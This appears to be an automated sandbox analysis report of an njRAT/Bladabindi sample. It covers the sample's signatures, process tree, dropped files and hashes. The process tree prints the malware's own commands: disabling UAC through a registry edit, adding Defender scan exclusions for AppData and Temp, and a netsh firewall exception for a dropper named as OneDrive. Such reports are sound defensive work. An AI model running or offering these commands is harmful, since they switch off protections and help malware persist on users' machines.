Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-12-2021 18:01

General

  • Target

    88019B018015F33C8CA9290A531027E90EAE517F6B590.exe

  • Size

    13.6MB

  • MD5

    2821b719af8d6e8a54926a0536c52feb

  • SHA1

    ec3013696893908ec7a726325da37bbf22c04eee

  • SHA256

    88019b018015f33c8ca9290a531027e90eae517f6b590fb1711de81ff222ed98

  • SHA512

    ffb33b3a9118daac53b7ccebb3424affa694123d7b4e8ba5281a387b1d669dfb0cb9e5e321d1d970e0693072d42944861570f3b31cde20b0e542a5ae96b648a6

Malware Config

Signatures

  • UAC bypass 3 TTPs
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

    suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

  • Executes dropped EXE 5 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • autoit_exe 11 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\88019B018015F33C8CA9290A531027E90EAE517F6B590.exe
    "C:\Users\Admin\AppData\Local\Temp\88019B018015F33C8CA9290A531027E90EAE517F6B590.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:796
    • C:\Users\Admin\AppData\Local\Temp\Do you want to allow this app to make changes to your device.exe
      "C:\Users\Admin\AppData\Local\Temp\Do you want to allow this app to make changes to your device.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1328
      • C:\Users\Admin\AppData\Local\Temp\Controlled.exe
        "C:\Users\Admin\AppData\Local\Temp\Controlled.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1472
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass powershell.exe New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1484
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -ExecutionPolicy Bypass powershell.exe New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2024
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2016
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "%appdata%"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1904
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -ExecutionPolicy Bypass powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1896
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1752
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\Temp"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1544
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -ExecutionPolicy Bypass powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1416
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1620
      • C:\Users\Admin\AppData\Local\Temp\Lost.exe
        "C:\Users\Admin\AppData\Local\Temp\Lost.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2032
        • C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe
          "C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe"
          4⤵
          • Executes dropped EXE
          • Drops startup file
          • Adds Run key to start application
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1068
          • C:\Windows\SysWOW64\netsh.exe
            netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe" "Microsoft OneDrive.exe" ENABLE
            5⤵
              PID:880
      • C:\Users\Admin\AppData\Local\Temp\Microsoft Toolkit.exe
        "C:\Users\Admin\AppData\Local\Temp\Microsoft Toolkit.exe"
        2⤵
        • Executes dropped EXE
        PID:1644

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Controlled.exe

      MD5

      bac34ccafe73bb8ac9fc2d603e8fa7f5

      SHA1

      8a5c1dfca71d0427c05aecd1cc51bfea4d115380

      SHA256

      3f2cc117aaca845072bf07291d7de05f2c3f1d6d35acefde2db8de1bcff1b5b9

      SHA512

      16d5e260a13841731d57938cc89301ec17ad4c15fa461861888a9bdc895b599860b53e97c440ecea2519653cd398ca3b7c499b90014f96059762357c0d8b102f

    • C:\Users\Admin\AppData\Local\Temp\Controlled.exe

      MD5

      bac34ccafe73bb8ac9fc2d603e8fa7f5

      SHA1

      8a5c1dfca71d0427c05aecd1cc51bfea4d115380

      SHA256

      3f2cc117aaca845072bf07291d7de05f2c3f1d6d35acefde2db8de1bcff1b5b9

      SHA512

      16d5e260a13841731d57938cc89301ec17ad4c15fa461861888a9bdc895b599860b53e97c440ecea2519653cd398ca3b7c499b90014f96059762357c0d8b102f

    • C:\Users\Admin\AppData\Local\Temp\Do you want to allow this app to make changes to your device.exe

      MD5

      7c201b8ea0371c471d14bc58a1a49250

      SHA1

      0bdeffc5d2f65177d13a75f577ca7280a6adbb45

      SHA256

      54005254ae6e1a05f068974760305ce6df3775fa00e64273849c02c4488a6e81

      SHA512

      d0fff986dc5fbb1be8dd419a39279a7ad6c3e0b21a4a91b52db4198e66bfce4f3e4eb7185c3cf16027fced90a3084d9d37baa10515186218acc29a6cd624d724

    • C:\Users\Admin\AppData\Local\Temp\Do you want to allow this app to make changes to your device.exe

      MD5

      7c201b8ea0371c471d14bc58a1a49250

      SHA1

      0bdeffc5d2f65177d13a75f577ca7280a6adbb45

      SHA256

      54005254ae6e1a05f068974760305ce6df3775fa00e64273849c02c4488a6e81

      SHA512

      d0fff986dc5fbb1be8dd419a39279a7ad6c3e0b21a4a91b52db4198e66bfce4f3e4eb7185c3cf16027fced90a3084d9d37baa10515186218acc29a6cd624d724

    • C:\Users\Admin\AppData\Local\Temp\Lost.exe

      MD5

      d682f703d4b78ad2c57d3fc91e40df9b

      SHA1

      49dfe802bf98c59eff10dbe8ec360ed53114bb6a

      SHA256

      72611a2a7db8978d61f2d8659cd56c0595d96ac7fbb03adcc6000e40760062e7

      SHA512

      384e5269ba21c749c9d320688d866e2047891744d4059767fb7e9230908016b9fc12fda4df20647555f6e68fafc5ffe2cbe0b780049de8c76c275c7cdb83a5c1

    • C:\Users\Admin\AppData\Local\Temp\Lost.exe

      MD5

      d682f703d4b78ad2c57d3fc91e40df9b

      SHA1

      49dfe802bf98c59eff10dbe8ec360ed53114bb6a

      SHA256

      72611a2a7db8978d61f2d8659cd56c0595d96ac7fbb03adcc6000e40760062e7

      SHA512

      384e5269ba21c749c9d320688d866e2047891744d4059767fb7e9230908016b9fc12fda4df20647555f6e68fafc5ffe2cbe0b780049de8c76c275c7cdb83a5c1

    • C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe

      MD5

      d682f703d4b78ad2c57d3fc91e40df9b

      SHA1

      49dfe802bf98c59eff10dbe8ec360ed53114bb6a

      SHA256

      72611a2a7db8978d61f2d8659cd56c0595d96ac7fbb03adcc6000e40760062e7

      SHA512

      384e5269ba21c749c9d320688d866e2047891744d4059767fb7e9230908016b9fc12fda4df20647555f6e68fafc5ffe2cbe0b780049de8c76c275c7cdb83a5c1

    • C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe

      MD5

      d682f703d4b78ad2c57d3fc91e40df9b

      SHA1

      49dfe802bf98c59eff10dbe8ec360ed53114bb6a

      SHA256

      72611a2a7db8978d61f2d8659cd56c0595d96ac7fbb03adcc6000e40760062e7

      SHA512

      384e5269ba21c749c9d320688d866e2047891744d4059767fb7e9230908016b9fc12fda4df20647555f6e68fafc5ffe2cbe0b780049de8c76c275c7cdb83a5c1

    • C:\Users\Admin\AppData\Local\Temp\Microsoft Toolkit.exe

      MD5

      f2b6ef2a2ee8fe7819029dc06a69e7ba

      SHA1

      48a2429e9b17d91ff158dfdf896e62874c66bec7

      SHA256

      0774dc41d6a7956a9e551e52db40944eed0362f60067faf7f08920e062df7108

      SHA512

      cd6b22d2b82555a5db0bc00aa18f7195cd796e6f93036a13fcbd1b2eba981a83ef4247fd1836f703b4a900f375f93ecdac9c31a91ec6acfbf89f66653adb5ed9

    • C:\Users\Admin\AppData\Local\Temp\Microsoft Toolkit.exe

      MD5

      f2b6ef2a2ee8fe7819029dc06a69e7ba

      SHA1

      48a2429e9b17d91ff158dfdf896e62874c66bec7

      SHA256

      0774dc41d6a7956a9e551e52db40944eed0362f60067faf7f08920e062df7108

      SHA512

      cd6b22d2b82555a5db0bc00aa18f7195cd796e6f93036a13fcbd1b2eba981a83ef4247fd1836f703b4a900f375f93ecdac9c31a91ec6acfbf89f66653adb5ed9

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      MD5

      59c9acbba551c250fab194ea36f98676

      SHA1

      3a86a7ab20796fc850a548a7ca04bded01f3ab41

      SHA256

      659ed577e819db41d86219443803283f2fe4492d41485fa668e258ca7165d403

      SHA512

      39b4704c9fafea4f3f54e376c28c6d4e5b6b3d3ca1a107f79b8bd06f7bf4fab9622e46a8bcecf78425e63c9c85a01e87ee34ae7c55a309bac5de6ef3be891651

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      MD5

      f2ee607e5698500bd269de0dc1c48d14

      SHA1

      5fe79825b8f02e135d2efe79ff75e2700d2beb7f

      SHA256

      0f2d1100e611c786df28feb31ce5a9ad657d692f212f884665bb5036b7f4e066

      SHA512

      4b9c6ea419106d3781c72be92c5311c2b4e70fcea11ddaaab2769550c6e6f88a3e07caafd7a7b69dffede45c8157d5d71aedff6cef1cf4a2c6a1ac997b211557

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      MD5

      f2ee607e5698500bd269de0dc1c48d14

      SHA1

      5fe79825b8f02e135d2efe79ff75e2700d2beb7f

      SHA256

      0f2d1100e611c786df28feb31ce5a9ad657d692f212f884665bb5036b7f4e066

      SHA512

      4b9c6ea419106d3781c72be92c5311c2b4e70fcea11ddaaab2769550c6e6f88a3e07caafd7a7b69dffede45c8157d5d71aedff6cef1cf4a2c6a1ac997b211557

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      MD5

      f2ee607e5698500bd269de0dc1c48d14

      SHA1

      5fe79825b8f02e135d2efe79ff75e2700d2beb7f

      SHA256

      0f2d1100e611c786df28feb31ce5a9ad657d692f212f884665bb5036b7f4e066

      SHA512

      4b9c6ea419106d3781c72be92c5311c2b4e70fcea11ddaaab2769550c6e6f88a3e07caafd7a7b69dffede45c8157d5d71aedff6cef1cf4a2c6a1ac997b211557

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      MD5

      f2ee607e5698500bd269de0dc1c48d14

      SHA1

      5fe79825b8f02e135d2efe79ff75e2700d2beb7f

      SHA256

      0f2d1100e611c786df28feb31ce5a9ad657d692f212f884665bb5036b7f4e066

      SHA512

      4b9c6ea419106d3781c72be92c5311c2b4e70fcea11ddaaab2769550c6e6f88a3e07caafd7a7b69dffede45c8157d5d71aedff6cef1cf4a2c6a1ac997b211557

    • \Users\Admin\AppData\Local\Temp\Controlled.exe

      MD5

      bac34ccafe73bb8ac9fc2d603e8fa7f5

      SHA1

      8a5c1dfca71d0427c05aecd1cc51bfea4d115380

      SHA256

      3f2cc117aaca845072bf07291d7de05f2c3f1d6d35acefde2db8de1bcff1b5b9

      SHA512

      16d5e260a13841731d57938cc89301ec17ad4c15fa461861888a9bdc895b599860b53e97c440ecea2519653cd398ca3b7c499b90014f96059762357c0d8b102f

    • \Users\Admin\AppData\Local\Temp\Do you want to allow this app to make changes to your device.exe

      MD5

      7c201b8ea0371c471d14bc58a1a49250

      SHA1

      0bdeffc5d2f65177d13a75f577ca7280a6adbb45

      SHA256

      54005254ae6e1a05f068974760305ce6df3775fa00e64273849c02c4488a6e81

      SHA512

      d0fff986dc5fbb1be8dd419a39279a7ad6c3e0b21a4a91b52db4198e66bfce4f3e4eb7185c3cf16027fced90a3084d9d37baa10515186218acc29a6cd624d724

    • \Users\Admin\AppData\Local\Temp\Lost.exe

      MD5

      d682f703d4b78ad2c57d3fc91e40df9b

      SHA1

      49dfe802bf98c59eff10dbe8ec360ed53114bb6a

      SHA256

      72611a2a7db8978d61f2d8659cd56c0595d96ac7fbb03adcc6000e40760062e7

      SHA512

      384e5269ba21c749c9d320688d866e2047891744d4059767fb7e9230908016b9fc12fda4df20647555f6e68fafc5ffe2cbe0b780049de8c76c275c7cdb83a5c1

    • \Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe

      MD5

      d682f703d4b78ad2c57d3fc91e40df9b

      SHA1

      49dfe802bf98c59eff10dbe8ec360ed53114bb6a

      SHA256

      72611a2a7db8978d61f2d8659cd56c0595d96ac7fbb03adcc6000e40760062e7

      SHA512

      384e5269ba21c749c9d320688d866e2047891744d4059767fb7e9230908016b9fc12fda4df20647555f6e68fafc5ffe2cbe0b780049de8c76c275c7cdb83a5c1

    • \Users\Admin\AppData\Local\Temp\Microsoft Toolkit.exe

      MD5

      f2b6ef2a2ee8fe7819029dc06a69e7ba

      SHA1

      48a2429e9b17d91ff158dfdf896e62874c66bec7

      SHA256

      0774dc41d6a7956a9e551e52db40944eed0362f60067faf7f08920e062df7108

      SHA512

      cd6b22d2b82555a5db0bc00aa18f7195cd796e6f93036a13fcbd1b2eba981a83ef4247fd1836f703b4a900f375f93ecdac9c31a91ec6acfbf89f66653adb5ed9

    • memory/796-56-0x0000000075B11000-0x0000000075B13000-memory.dmp

      Filesize

      8KB

    • memory/796-55-0x0000000000930000-0x00000000016CA000-memory.dmp

      Filesize

      13.6MB

    • memory/796-57-0x00000000057F0000-0x00000000057F1000-memory.dmp

      Filesize

      4KB

    • memory/796-54-0x0000000000930000-0x00000000016CA000-memory.dmp

      Filesize

      13.6MB

    • memory/880-116-0x0000000000000000-mapping.dmp

    • memory/1068-111-0x0000000000000000-mapping.dmp

    • memory/1068-115-0x0000000000520000-0x0000000000521000-memory.dmp

      Filesize

      4KB

    • memory/1328-63-0x00000000003C0000-0x00000000004C6000-memory.dmp

      Filesize

      1.0MB

    • memory/1328-62-0x00000000003C0000-0x00000000004C6000-memory.dmp

      Filesize

      1.0MB

    • memory/1328-65-0x0000000004DC0000-0x0000000004DC1000-memory.dmp

      Filesize

      4KB

    • memory/1328-59-0x0000000000000000-mapping.dmp

    • memory/1416-125-0x0000000001F50000-0x0000000001F51000-memory.dmp

      Filesize

      4KB

    • memory/1416-118-0x0000000000000000-mapping.dmp

    • memory/1416-126-0x0000000001F51000-0x0000000001F52000-memory.dmp

      Filesize

      4KB

    • memory/1416-127-0x0000000001F52000-0x0000000001F54000-memory.dmp

      Filesize

      8KB

    • memory/1472-67-0x0000000000000000-mapping.dmp

    • memory/1484-71-0x0000000000000000-mapping.dmp

    • memory/1544-117-0x0000000000000000-mapping.dmp

    • memory/1620-122-0x0000000000000000-mapping.dmp

    • memory/1644-108-0x000000001B872000-0x000000001B873000-memory.dmp

      Filesize

      4KB

    • memory/1644-109-0x000000001B877000-0x000000001B896000-memory.dmp

      Filesize

      124KB

    • memory/1644-73-0x0000000000000000-mapping.dmp

    • memory/1644-103-0x000000001CFD0000-0x000000001DF3E000-memory.dmp

      Filesize

      15.4MB

    • memory/1644-82-0x00000000003E0000-0x000000000101E000-memory.dmp

      Filesize

      12.2MB

    • memory/1644-87-0x000000001B870000-0x000000001B872000-memory.dmp

      Filesize

      8KB

    • memory/1752-95-0x0000000000000000-mapping.dmp

    • memory/1752-104-0x0000000002400000-0x000000000304A000-memory.dmp

      Filesize

      12.3MB

    • memory/1752-107-0x0000000002400000-0x000000000304A000-memory.dmp

      Filesize

      12.3MB

    • memory/1896-98-0x0000000002380000-0x0000000002381000-memory.dmp

      Filesize

      4KB

    • memory/1896-90-0x0000000000000000-mapping.dmp

    • memory/1896-99-0x0000000002381000-0x0000000002382000-memory.dmp

      Filesize

      4KB

    • memory/1896-101-0x0000000002382000-0x0000000002384000-memory.dmp

      Filesize

      8KB

    • memory/1904-89-0x0000000000000000-mapping.dmp

    • memory/2016-106-0x00000000023C0000-0x000000000300A000-memory.dmp

      Filesize

      12.3MB

    • memory/2016-102-0x00000000023C0000-0x000000000300A000-memory.dmp

      Filesize

      12.3MB

    • memory/2016-93-0x0000000000000000-mapping.dmp

    • memory/2016-105-0x00000000023C0000-0x000000000300A000-memory.dmp

      Filesize

      12.3MB

    • memory/2024-88-0x0000000002472000-0x0000000002474000-memory.dmp

      Filesize

      8KB

    • memory/2024-85-0x0000000002470000-0x0000000002471000-memory.dmp

      Filesize

      4KB

    • memory/2024-76-0x0000000000000000-mapping.dmp

    • memory/2024-86-0x0000000002471000-0x0000000002472000-memory.dmp

      Filesize

      4KB

    • memory/2032-84-0x00000000006A0000-0x00000000006A1000-memory.dmp

      Filesize

      4KB

    • memory/2032-79-0x0000000000000000-mapping.dmp